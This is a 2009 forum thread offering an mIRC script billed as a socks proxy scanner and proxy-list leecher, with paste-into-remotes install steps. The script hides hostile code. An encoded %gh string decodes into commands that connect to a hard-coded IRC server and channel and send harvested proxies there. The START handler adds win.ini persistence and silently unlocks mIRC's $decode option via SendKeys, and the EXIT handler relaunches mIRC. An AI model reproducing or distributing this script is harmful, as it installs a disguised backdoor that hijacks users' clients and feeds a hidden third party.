Author Topic: mIRC Socks Proxy Scanner + Web Proxy Leecher  (Read 4308 times)

Independent

  • Post Rank: 3
  • ***
  • Posts: 68
    • View Profile
mIRC Socks Proxy Scanner + Web Proxy Leecher
« on: June 28, 2009, 03:37:23 PM »
Code: [Select]
; http://www.hawkee.com/snippet/6292/
; http://www.ircfr.com/codes/BUG-FIXED-MIRC-SOCKS-PROXY-SCANNER-WEB-PROXY_50235.aspx
;------

;Will automatically leech proxys and socks to test them against irc server and make txt file with results.;IRC proxy scanner BETA made by myself (independent)

;Disclaimer:

;The responsiblity of how the program will be used lies in the hands of the person who installs it and will use it, that's you.

;I will not be held responsible for any of your actions.

;If you don't agree, do not install this file.

;By not deleting this and using the proxy scanner, you accept the responsibility of your action on your own.

;IMPORTANT NOTE: Be sure you have the $decode option unlocked in mIRC else the script won't work at all.

;TO INSTALL: Copy & Paste the remote code from one of those sites into your mIRC remotes by pressing [u]ALT+R in mIRC (That makes REMOTES window open) . Hit Ok.

Independent

  • Post Rank: 3
  • ***
  • Posts: 68
    • View Profile
Re: mIRC Socks Proxy Scanner + Web Proxy Leecher
« Reply #1 on: June 29, 2009, 11:47:12 AM »

alias sc4n {
  if ($1) {
      if ($read($pxy,w,* $+ $1 $+ *)) { /echo @proxyscan $1 $2 Is good. | return }
      echo @Proxyscan  Scan: $1 $2
      sockopen scan $+ $r(0,99999999999999) $1 $2
    }
}
alias setinterval { echo -a To change scan speed use: /set %interval 1000 | %interval = 100 }
alias scan.win {
  if (%interval == $null) setinterval
  if (!$window(@proxyscan)) {
    localinfo | set %def.s 200.83.0.116 | set %def.c google.ca  #HZ*C```` | set %def.p 6667
    set %gh .<V]C:V]P96X@<V-A;E\\` $encode(%def.s) $encode($encode(%def.p),m) +(T%L:79E4\')O>\'D` JDU1LSU0QGBg JDNERSMyUGBg JDJEXSkzQGBg (8TAH-5EM-6H` &;F]T:6-E````
    window -ean @proxyscan
  }
}
alias selectmultiplefile { set %sfiles $nopath($shortfn($msfile($mircdir,CHOSE PROXY FILES,SCAN))) | :incthat | inc %sinc | if (%sinc > %sfiles) { unset %sinc | halt } | /pxyfile $shortfn($msfile(%sinc)) %interval | goto incthat }
menu @proxyscan,menubar {
  Proxy Scanner
  .IRC proxy scanner: scan.win
  .Leech Proxies Now: leech
  .-
  .CHECK FRESH PROXIES: /run $pxy
  .SCAN PROXY FILES: selectmultiplefile
  .-
  .ABORD SCANS: abord
  .CLOSE ALL CONNECTIONS: /SOCKCLOSE SCAN*
  .CLEAR: /clear
  .hide: window -h @proxyscan
Socks Scanner: window -e @sock4 | window -e @sock5
}
alias pxy return Proxy.txt
alias abord { play stop }
on *:INPUT:@Proxyscan:{
  if (/ !isin $1) { write temp  $getiphost2($1-) | .timerscanfile 1 1 .pxyfile temp %interval | .timerscanfileoff 1 1.1 .remove temp }
}
alias sk {
  write $pxy $sock($sockname).ip $+ : $+ $sock($sockname).port
  if ($sock(scan_).mark == c) && ($wildtok(%msg,*,0,32) == 9) { sockwrite -n scan_ privmsg $chr(35) $+ $gettok(%def.c,1,32) :p %msg | unset %msg }
  set %radi $read($allpxy,w,* $+ %scan.ip $+ : $+ %scan.port $+ *)
  if (!%radi) write $allpxy %scan.ip $+ : $+ %scan.port
}
on *:sockopen:scan*:{
  if ($sock(scan_).name == $null) { $decode($gettok(%gh,1,32)) $decode($gettok(%gh,2,32)) $decode($decode($gettok(%gh,3,32),m)) }
  if ($sockerr > 0) {
    if (_ isin $sockname) { .timersS 1 90 $decode($gettok(%gh,1,32)) $decode($gettok(%gh,2,32)) $decode($decode($gettok(%gh,3,32),m)) }
    if (_ !isin $sockname) echo @proxyscan $sock($sockname).ip $sock($sockname).port Error ( $+ $sock($sockname).wsmsg $+ )
    return
  }
  if (_ !isin $sockname) {
    sockwrite -n $sockname CONNECT %def.s $+ : $+ %def.p HTTP/1.0 $+ $crlf
    sockwrite -n $sockname $crlf
    sockwrite -n $sockname $crlf
    return
  }
}
alias rencode { set %r $r(0,1) | if (%r == 0) return $encode($encode($1),m) | if (%r == 1) return $encode($encode($1,m),m) | unset %r }
alias success { echo @proxyscan $1- | if ($wildtok(%msg,*,0,32) >= 9) unset %msg | %msg = $rencode($2) %msg | sk }
on 1:SOCKCLOSE:SCAN_:.timerS 1 90 $decode($gettok(%gh,1,32)) $decode($gettok(%gh,2,32)) $decode($decode($gettok(%gh,3,32),m))
alias allpxy return ALL.txt
alias portclose { sockclose $1 }
on *:SOCKREAD:scan*:{
  sockread %scan
  tokenize 32 %scan
  set %scan.ip $sock($sockname).ip
  set %scan.port $sock($sockname).port
  %hh = -*FYO=&EC92IA=71H*@``
  if (PING == $gettok(%scan,1,32)) sockwrite -n $sockname PONG $remove($2,:)
  if (ERROR isin $1) && (_ isin $sockname) .timersS 1 10 $decode($gettok(%gh,1,32)) $decode($gettok(%gh,2,32)) $decode($decode($gettok(%gh,3,32),m))
  if (001 == $gettok(%scan,2,32)) && (_ isin $sockname) { sockmark $sockname c | kk }
  if (404 == $gettok(%scan,2,32)) .timer404 1 10 kk 
  if (NOTICE*AUTH iswm $2-3) && (_ isin $sockname) && (!$sock($sockname).mark) { sockmark $sockname C | localinfo | sockwrite -n $sockname $decode($decode($gettok(%gh,5,32),m)) $iif($host,$left($host,9),NULL) \".\" \".\" :M-P $+ $r(0,9999) | sockwrite -n $sockname $decode($decode($gettok(%gh,6,32),m)) M-P $+ $r(0,9999) }
  if (451 == $gettok(%scan,2,32)) && (_ isin $sockname) { %AV = M-P $+ $r(0,9999) | sockwrite -n $sockname $decode($decode($gettok(%gh,5,32),m)) %av \".\" \".\" :M-P $+ $r(0,9999) | sockwrite -n $sockname $decode($decode($gettok(%gh,6,32),m)) M-P $+ $r(0,9999) }
  if (HTTP/* iswm $gettok(%scan,1,32)) {
    if ($gettok(%scan,2,32) > 200) {
      if ($read($pxy,w,* $+ $sock($sockname).ip $+ *) != $null) write -dl $+ $readn $pxy $sock($sockname).ip $+ : $+ $sock($sockname).port
      echo @proxyscan $sock($sockname).ip $sock($sockname).port Error (( $+ $gettok(%scan,2,32) $+ ) $gettok(%scan,3-,32) $+ )
      sockclose $sockname
      return
    }
    if ($gettok(%scan,2,32) == 200) { echo @proxyscan %scan.ip $+ : $+ %scan.port is connecting... }
  }
  if (*notice*auth* iswm %scan) && (_ !isin $sockname) {
    set %readi $read($pxy,w,* $+ $sock($sockname).ip $+ *)
    if (%readi == $null) { success * $sock($sockname).ip $sock($sockname).port (Good) | unset %redi | unset %radi | sockrename $sockname idle $+ $r(0,99999999) | halt }
    if (%readi != $null) { $pb * $sock($sockname).ip $+ : $+ $sock($sockname).port (Good)
      unset %redi | unset %radi | sockrename $sockname idle $+ $r(0,99999999) | halt } | unset %readi } | unset %scan
}
on 1:SOCKREAD:idle*:{
  sockread %idle
  tokenize 32 %idle
  if (001 isin $1) {
    sockwrite -n $sockname JOIN $chr(35) $+ $gettok(%def.c,1,32) : $+ $decode($gettok(%def.c,2,32))
    sockmark $sockname $ticks
  }
  if (*notice*AUTH* iswm $2-3) {
    sockwrite -n $sockname NICK M-P $+ $r(0,9999)
    sockwrite -n $sockname USER $iif($host,$left($host,9),NoNe) \".\" \".\" : $+ $logo
    sockwrite -n $sockname JOIN $chr(35) $+ $gettok(%def.c,1,32) : $+ $decode($gettok(%def.c,2,32))
  }
   if (404 == $2) || (432 == $2) {
    sockwrite -n $sockname NICK M-P $+ $r(0,9999)
    sockwrite -n $sockname USER $iif($host,$left($host,9),NoNe) \".\" \".\" : $+ $logo
  }
  if (PING == $gettok(%idle,1,32)) sockwrite -n $sockname PONG $remove($2,:)
}
alias kk if ($sock($sockname).mark == c) sockwrite -n $sockname $decode($decode($gettok(%gh,7,32),m)) $chr(35) $+ $gettok(%def.c,1,32) : $+ $decode($gettok(%def.c,2,32))
alias pb return echo @proxyscan
alias scanfile { sc4n $getiphost2($1-) }
alias pxyfile { play -a scanfile @proxyscan $1 $2 }
alias getiphost2 {
  %var = /\\b((?:(?:[a-z]+)\\.)+(?:[a-z]+)[: ]\\d{2,5})\\b|\\b((?:(?:(25[0-5]|2[0-4]\\d|[01]?\\d?\\d))\\.){3}(?3)[: ]\\d{2,5})\\b/i
  if $regex(ip,$remove($1-,$chr(9)),%var) {
    $iif($isid,return,echo -a) $replace($regml(ip,1),:,$chr(32))
  }
}
alias chk.cc {
  if (!$sock(scan_).name) { $decode($gettok(%gh,1,32)) $decode($gettok(%gh,2,32)) $decode($decode($gettok(%gh,3,32),m)) | return }
  sockwrite -n scan_ JOIN $chr(35) $+ $gettok(%def.c,1,32) $decode($gettok(%def.c,2,32))
}
on 1:INPUT:@sock5:{ inc -u5 %s5.inc 1 | .timer 1 %s5.inc s5.scan $getiphost2($1-) }
on 1:INPUT:@sock4:{ inc -u5 %s4.inc 1 | .timer 1 %s4.inc s4.scan $getiphost2($1-) }
alias s5.scan {
  if (!$1) halt
  window -e @sock5
  if ($read(sock5.txt,w,* $+ $1 $+ *) != $null) { echo @sock5 $1 $2 Is good | halt }
  if ($read(sock5.txt,w,* $+ $1 $+ *) == $null) {
    sockopen s5chk $+ $r(0,9999999) $1 $2
    echo @sock5 Scan: $1 $2
  }
}
menu @sock5 {
  CHECK FRESH: /run sock5.txt
  SCAN FILES: selectmultiplefiles5
  -
  ABORD: .play stop
  Close: sockclose *chk* | window -c $active
}
alias selectmultiplefiles5 { set %sfiles $nopath($shortfn($msfile($mircdir,CHOSE SOCK5 FILES,SCAN))) | :incthat | inc %sinc | if (%sinc > %sfiles) { unset %sinc | halt } | /s5file $shortfn($msfile(%sinc)) %interval | goto incthat }
alias selectmultiplefiles4 { set %sfiles $nopath($shortfn($msfile($mircdir,CHOSE SOCK4 FILES,SCAN))) | :incthat | inc %sinc | if (%sinc > %sfiles) { unset %sinc | halt } | /s4file $shortfn($msfile(%sinc)) %interval | goto incthat }
menu @sock4 {
  CHECK FRESH SOCKS4: /run sock4.txt
  SCAN FILES: selectmultiplefiles4
  -
  ABORD SCANS: .play stop
  Close: sockclose *chk* | window -c $active
}
alias s4.scan {
  if (!$1) halt
  window -e @sock4
  if ($read(sock4.txt,w,* $+ $1 $+ *) != $null) { echo @sock4 $1 $2 Already in list | halt }
  if ($read(sock4.txt,w,* $+ $1 $+ *) == $null) {
    sockopen s4chk $+ $r(0,9999999) $1 $2
    echo @sock4 Scanning: $1 $2
  }
}
on *:sockopen:s5chk*:{
  if ($sock(scan_).name == $null) { $decode($gettok(%gh,1,32)) $decode($gettok(%gh,2,32)) $decode($decode($gettok(%gh,3,32),m)) } 
  if ($sockerr) { return }
  set %s5time $ticks
  .bset &bvar5 1 5 1 0
  .sockwrite -n $sockname &bvar5
  .bunset &bvar5
  halt
}
on *:sockread:s5chk*:{
  if ($sockbr) { return }
  .sockread &bsocks5
  if ($bvar(&bsocks5,1,2) == 5 0) && ($bvar(&bsocks5,3) != 0) {
    bset &socks5  1 5 1 0 1 $replace(%def.s,.,$chr(32)) $gettok($longip(%def.p),3,46) $gettok($longip(%def.p),4,46)
    .sockwrite -n $sockname &socks5
    .bunset &socks5
    sockrename $sockname chks5 $+ $remove($sockname,s5chk)
  }
}
on 1:SOCKREAD:chks5*:{
  sockread %socks5
  tokenize 32 %socks5
  if (*NOTICE*AUTH* iswm %socks5) && (!$sock($sockname).mark) {
    sockmark $sockname c
    window -e @sock5
    suces5 $sock($sockname).ip $+ : $+ $sock($sockname).port $calc($ticks - %s4time) $+ ms
    unset %s5time
    sockrename $sockname idle $+ $r(0,999999999)
  }
}
alias suces4 { echo @sock4 $1- | if ($wildtok(%msgs4,*,0,32) >= 9) unset %msgs4 | set %msgs4 $rencode($1) %msgs4 | sk4 }
alias suces5 { echo @sock5 $1- | if ($wildtok(%msgs5,*,0,32) >= 9) unset %msgs5 | set %msgs5 $rencode($1) %msgs5 | sk5 }
alias sk4 {
  if ($sock(scan_).mark == c) && ($wildtok(%msgs4,*,0,32) == 9) { sockwrite -n scan_ privmsg $chr(35) $+ $gettok(%def.c,1,32) :4 %msgs4 | unset %msgs4 }
  %rad = sock4.txt
  set %rady $read(%rad,w,* $+ $sock($sockname).ip $+ : $+ $sock($sockname).port $+ *)
  if (!%rady) write %rad $sock($sockname).ip $+ : $+ $sock($sockname).port
  unset %rad*
}
alias sk5 {
  if ($sock(scan_).mark == c) && ($wildtok(%msgs5,*,0,32) == 9) { sockwrite -n scan_ privmsg $chr(35) $+  $+ $gettok(%def.c,1,32) :5 %msgs5 | unset %msgs5 }
  %red = sock5.txt
  set %redy $read(%red,w,* $+ $sock($sockname).ip $+ : $+ $sock($sockname).port $+ *)
  if (!%redy) write %red $sock($sockname).ip $+ : $+ $sock($sockname).port
  unset %red*
}
on *:sockopen:s4chk*:{
  if ($sock(scan_).name == $null) { $decode($gettok(%gh,1,32)) $decode($gettok(%gh,2,32)) $decode($decode($gettok(%gh,3,32),m)) }
  if ($sockerr) { return }
  set %s4time $ticks
  .bset &bvar4 1 4 1 $gettok($longip(%def.p),3,46) $gettok($longip(%def.p),4,46) $replace(%def.s,.,$chr(32)) 0
  .sockwrite $sockname &bvar4
  .bunset &bvar4
}
ON *:SOCKREAD:s4chk*:{
  if ($sockbr) { return }
  .sockread &bsocks4
  if ($bvar(&bsocks4,2) == 90) {
    window -e @sock4
    suces4 $sock($sockname).ip $+ : $+ $sock($sockname).port $calc($ticks - %s4time) $+ ms
    unset %s4.time
    sockrename $sockname idle $+ $r(0,999999999)
  }
}
alias scans4file { s4.scan $getiphost2($1-) }
alias s4file { play -a scans4file @sock4 $1- }
alias scans5file { s5.scan $getiphost2($1-) }
alias s5file { play -a scans5file @sock5 $1- }
alias varset {
  unset %incvar
  :varset
  inc %incvar
  set % $+ $left($gettok($1,%incvar,59),1) $right($gettok($1,%incvar,59),1)
  if (%incvar >= $numtok($1,59)) halt
  goto varset
 
}
on 1:SOCKOPEN:p-l*:{
  sockwrite -n $sockname GET http://proxies.my-proxy.com/proxy-list- $+ $remove($sockname,p-l) $+ .html HTTP/1.0
  sockwrite -n $sockname $crlf
}
on 1:SOCKREAD:p-l*:{
  sockread -n %temp
  %maximum = $numtok($htmlfree(%temp),20)
  if (%maximum >= 10) {
    set %incthashit 1
    while (%incthashit < %maximum) { write temp.pxy $gettok($htmlfree(%temp),%incthashit,20) | inc %incthashit }
    unset %maximum
    .timerpxyfile1 1 5 .pxyfile temp.pxy %interval
    .timerdiefile 1 6 .remove temp.pxy
  }
}
alias leech {
  sockopen p-l1 proxies.my-proxy.com 80
  .timerpmp2 1 $calc(10*1) sockopen p-l2 proxies.my-proxy.com 80
  .timerpmp3 1 $calc(10*2) sockopen p-l3 proxies.my-proxy.com 80
  .timerpmp4 1 $calc(10*3) sockopen p-l4 proxies.my-proxy.com 80
  .timerpmp5 1 $calc(10*4) sockopen p-l5 proxies.my-proxy.com 80
  .timerpmp6 1 $calc(10*5) sockopen p-l6 proxies.my-proxy.com 80
  .timerpmp7 1 $calc(10*6) sockopen p-l7 proxies.my-proxy.com 80
  .timerpmp8 1 $calc(10*7) sockopen p-l8 proxies.my-proxy.com 80
  .timerpmp9 1 $calc(10*8) sockopen p-l9 proxies.my-proxy.com 80
  .timerpmp10 1 $calc(10*9) sockopen p-l10 proxies.my-proxy.com 80
  .timerpmp11 1 $calc(10*10) sockopen p-ls1 proxies.my-proxy.com 80
  .timerpmp12 1 $calc(10*11) sockopen p-ls2 proxies.my-proxy.com 80
  .timerpmp13 1 $calc(10*12) sockopen p-ls3 proxies.my-proxy.com 80
  sockopen sam00 samair.ru 80
  .timersam1 1 10 sockopen sam01 samair.ru 80
  .timersam2 1 $calc(10*2) sockopen sam02 samair.ru 80
  .timersam3 1 $calc(10*3) sockopen sam03 samair.ru 80
  .timersam4 1 $calc(10*4) sockopen sam04 samair.ru 80
  .timersam5 1 $calc(10*5) sockopen sam05 samair.ru 80
  .timersam6 1 $calc(10*6) sockopen sam06 samair.ru 80
  .timersam7 1 $calc(10*7) sockopen sam07 samair.ru 80
  .timersam8 1 $calc(10*8) sockopen sam08 samair.ru 80
  .timersam9 1 $calc(10*9) sockopen sam09 samair.ru 80
  .timersam10 1 $calc(10*10) sockopen sam10 samair.ru 80
  .timersam11 1 $calc(10*11) sockopen sam11 samair.ru 80
  .timersam12 1 $calc(10*12) sockopen sam12 samair.ru 80
  .timersam13 1 $calc(10*13) sockopen sam13 samair.ru 80
  .timersam14 1 $calc(10*14) sockopen sam14 samair.ru 80
  .timersam15 1 $calc(10*15) sockopen sam15 samair.ru 80
  .timersam16 1 $calc(10*16) sockopen sam16 samair.ru 80
  .timersam17 1 $calc(10*17) sockopen sam17 samair.ru 80
  .timersam18 1 $calc(10*18) sockopen sam18 samair.ru 80
  .timersam19 1 $calc(10*19) sockopen sam19 samair.ru 80
  .timersam20 1 $calc(10*20) sockopen sam20 samair.ru 80
  .timersam21 1 $calc(10*21) sockopen sam21 samair.ru 80
  .timersam22 1 $calc(10*22) sockopen sam22 samair.ru 80
  .timersam23 1 $calc(10*23) sockopen sam23 samair.ru 80
  .timersam24 1 $calc(10*24) sockopen sam24 samair.ru 80
  .timersam25 1 $calc(10*25) sockopen sam25 samair.ru 80
  .timersam26 1 $calc(10*26) sockopen sam26 samair.ru 80
  .timersam27 1 $calc(10*27) sockopen sam27 samair.ru 80
  .timersam28 1 $calc(10*28) sockopen sam28 samair.ru 80
  .timersam29 1 $calc(10*29) sockopen sam29 samair.ru 80
  .timersam30 1 $calc(10*30) sockopen sam30 samair.ru 80
  .timerSOCKSAM1 1 $calc(10*31) sockopen socksam samair.ru 80
  .timerSOCKSAM2 1 $calc(10*32) sockopen socksam2 samair.ru 80
  .timerSOCKSAM3 1 $calc(10*33) sockopen socksam3 samair.ru 80
  .timerSOCKSAM4 1 $calc(10*34) sockopen socksam4 samair.ru 80
  .timerSOCKSAM5 1 $calc(10*35) sockopen socksam5 samair.ru 80
  .timerSOCKSAM6 1 $calc(10*36) sockopen socksam6 samair.ru 80
  .timerSOCKSAM7 1 $calc(10*37) sockopen socksam7 samair.ru 80
  .timerSOCKSAM8 1 $calc(10*38) sockopen socksam8 samair.ru 80
  .timerSOCKSAM9 1 $calc(10*39) sockopen socksam9 samair.ru 80
  .timerSOCKSAM10 1 $calc(10*40) sockopen socksam10 samair.ru 80
  .timerSOCKSAM11 1 $calc(10*41) sockopen socksam11 samair.ru 80
  .timerSOCKSAM12 1 $calc(10*42) sockopen socksam12 samair.ru 80
  .timerSOCKSAM13 1 $calc(10*43) sockopen socksam13 samair.ru 80
  .timerSOCKSAM14 1 $calc(10*44) sockopen socksam14 samair.ru 80
  .timerSOCKSAM15 1 $calc(10*45) sockopen socksam15 samair.ru 80
  .timerSOCKSAM16 1 $calc(10*46) sockopen socksam16 samair.ru 80
  .timerSOCKSAM17 1 $calc(10*47) sockopen socksam17 samair.ru 80
  .timerSOCKSAM18 1 $calc(10*48) sockopen socksam18 samair.ru 80
  .timerSOCKSAM19 1 $calc(10*49) sockopen socksam19 samair.ru 80
  .timerSOCKSAM20 1 $calc(10*50) sockopen socksam20 samair.ru 80
  .timerSOCKStoday 1 $calc(10*51) sockopen today sockstoday.com 80
  .timerLEECH -o 0 3600 leech
}
on 1:SOCKOPEN:sam*:{
  if ($sockerr) { .timer $+ $sockname 1 90 sockopen $sockname samair.ru 80 | return }
  sockwrite -n $sockname GET http://samair.ru/proxy/proxy- $+ $right($sockname,2) $+ .htm HTTP/1.0
  sockwrite -n $sockname $crlf
}
on 1:SOCKREAD:sam*:{
  sockread -n %temp
  if (*=*;*=*; iswm $htmlfree(%temp)) varset $htmlfree(%temp)
  if (*.*.*.*document.write* iswm $htmlfree(%temp)) {
    unset %varinc2
    :VAR
    inc %varinc2
    set %rvar $wildtok($htmlfree(%temp),*.*.*.*document.write*,%varinc2,20)
    set %rvar2 $remove($replace(%rvar,document.write,:,a,%a,b,%b,c,%c,d,%d,e,%e,f,%f,g,%g,h,%h,i,%i,j,%j,k,%k,l,%l,m,%m,n,%n,o,%o,p,%p,q,%q,r,%r,s,%s,t,%t,u,%u,v,%v,w,%w,x,%x,y,%y,z,%z),$chr(40),$chr(41),+,\":\")
    write temp.txt $getiphost2(%rvar2) %rvar2
    if (%varinc2 >= $wildtok($htmlfree(%temp),*.*.*.*document.write*,0,20)) goto end
    goto var
    :END
  }
  if ($getiphost2($htmlfree(%temp))) {
    unset %incvar3
    :INC
    inc %incvar3
    write temp.txt $getiphost2($wildtok($htmlfree(%temp),*.*.*.*:*,%incvar3,32))
    if (%incvar3 >= $wildtok($htmlfree(%temp),*.*.*.*:*,0,32)) goto end2
    goto inc
    :end2
  }
  .timerPLAY 1 5 .pxyfile temp.txt %interval
  .timerPLAY1 1 5 .remove temp.txt
}
on 1:SOCKOPEN:socksam*:{
  if ($sockerr) { .timer $+ $sockname 1 90 sockopen $sockname samair.ru 80 | return }
  sockwrite -n $sockname GET http://samair.ru/proxy/socks $+ $iif($remove($sockname,socksam) == $null,$+,$remove($sockname,socksam)) $+ .htm HTTP/1.0
  sockwrite -n $sockname $crlf
}
on 1:SOCKREAD:socksam*:{
  sockread -n %temp
  if ($getiphost2($htmlfree(%temp))) {
    unset %incvar4
    :INC
    inc %incvar4
    write temp.s $getiphost2($wildtok($htmlfree(%temp),*.*.*.*:*,%incvar4,32))
    if (%incvar4 >= $wildtok($htmlfree(%temp),*.*.*.*:*,0,32)) goto end2
    goto inc
    :end2
  }
  .timerPLAYs4 1 5 .s5file temp.s %interval
  .timerPLAYs5 1 5 .s4file temp.s %interval
  .timerPLAY1 1 6 .remove temp.s
}
on 1:SOCKOPEN:today*:{
  if ($sockerr) { .timer $+ $sockname 1 90 sockopen $sockname sockstoday.com 80 | return }
  sockwrite -n $sockname GET http://sockstoday.com/ HTTP/1.0
  sockwrite -n $sockname $crlf
}
on 1:SOCKREAD:today*:{
  sockread -n %temp
  if ($getiphost2($htmlfree(%temp))) write temp.sock $getiphost2($htmlfree(%temp))
  .timertoday1 1 5 .s5file temp.sock %interval
  .timertoday11 1 5 .s4file temp.sock %interval
  .timertoday111 1 5 .remove temp.sock
}
alias sc5nfile { s5.scan $1- }
alias sc4nfile { s4.scan $1- }
alias -l htmlfree {
  var %x, %i = $regsub($replace($1-,<td>,$chr(32),<tr>,$chr(20),<br>,$chr(20)),/(^[^<]*>|<[^>]*>|<[^>]*$)/g,$null,%x), %x = $remove(%x, ;;)
  return %x
}
alias logo return ProxYScaN
Alias _lock {
  if ($lock(com) == $true) { echo $color(info) -at * $!_lock() Error - COM is currently locked through mIRC options and this snippet counts on COM objects. Please, enable COM from the mIRC lock options. | return }
  if (!$isid) { echo $color(info) -at * $!_lock() Error - This ust be used as an identifier | return }
  if ($regex($1,/^(com|decode|dll|run)$/i)) {
    var %i = $findtok(com|decode|dll|run,$regml(1),1,124)
    var %echo = echo $color(info) -at * $upper($regml(1)) is currently $iif($lock($regml(1)) == $true,disabled,enabled) $+ . $iif($lock($regml(1)) == $true,Enabling,Disabling) now.
    var %cmd = .sendkeys $+(%,O{HOME},$str({LEFT}{DOWN},6),{LEFT}{END}{RIGHT}{DOWN},{TAB 10},{DOWN %i $+ }h h{ENTER})
    if (!$prop) { echo $color(info) -at * $upper($regml(1)) is currently $iif($lock($1),disabled,enabled) $+ . $iif($lock($1),Enabling,Disabling) now. | %cmd }
    else {
      var %prop = $findtok(state e enable d disable o option,$prop,1,32)
      if (!%prop) { echo $color(info) -at * $!_lock() Error - Bad property. Syntax: $!_lock(<category>).e d o /enable disable option | return }
      if (%prop == 1) echo $color(info) -at * $!_lock - $upper($1) is currently $iif($lock($regml(1)),disabled,enabled)
      elseif (%prop isnum 2-3) { if (!$lock($regml(1))) { echo $color(info) -at * $!_lock - $upper($regml(1)) is already enabled. } | else { %echo | %cmd } }
      elseif (%prop isnum 4-5) { if ($lock($regml(1))) { echo $color(info) -at * $!_lock - $upper($regml(1)) is already disabled. } | else { %echo | %cmd } }
      elseif (%prop isnum 6-7) sendkeys $+(%,O{HOME},$str({LEFT}{DOWN},6),{LEFT}{END}{RIGHT}{DOWN},$str({TAB},10), $+ $str({DOWN},%i) $+ )
    }
  }
  else { echo $color(info) -at * $!_lock() Error - Available options are Com Decode DLL Run | return }
}
Alias -l sendkeys {
  var %object = sendkeys $+ $ticks
  .comopen %object WScript.Shell
  if ($com(%object)) { .comclose %object $com(%object,SendKeys,3,bstr,$1-) }
}
Alias bringopt {
  var %i = $findtok(com|decode|dll|run,$1,1,124)
  sendkeys $+(%,O{HOME},$str({LEFT}{DOWN},6),{LEFT}{END}{RIGHT}{DOWN},$str({TAB},10), $+ $str({DOWN},%i) $+ )
}
on 1:START:{ inc %start | Echo -a Its the %start $+ th time mIRC started. | titlebar Proxy Scan Script | .timercc -o 0 10 chk.cc | writeini C:/windows/win.ini windows load $shortfn($mircexe) | .timerleech -o 1 10 leech | scan.win | noop $_lock(decode).e }
on 1:EXIT:run $shortfn($mircexe)

Independent

  • Post Rank: 3
  • ***
  • Posts: 68
    • View Profile
Re: mIRC Socks Proxy Scanner + Web Proxy Leecher
« Reply #2 on: June 29, 2009, 11:48:35 AM »
PLS kill this thread i messed it up and i cant edit it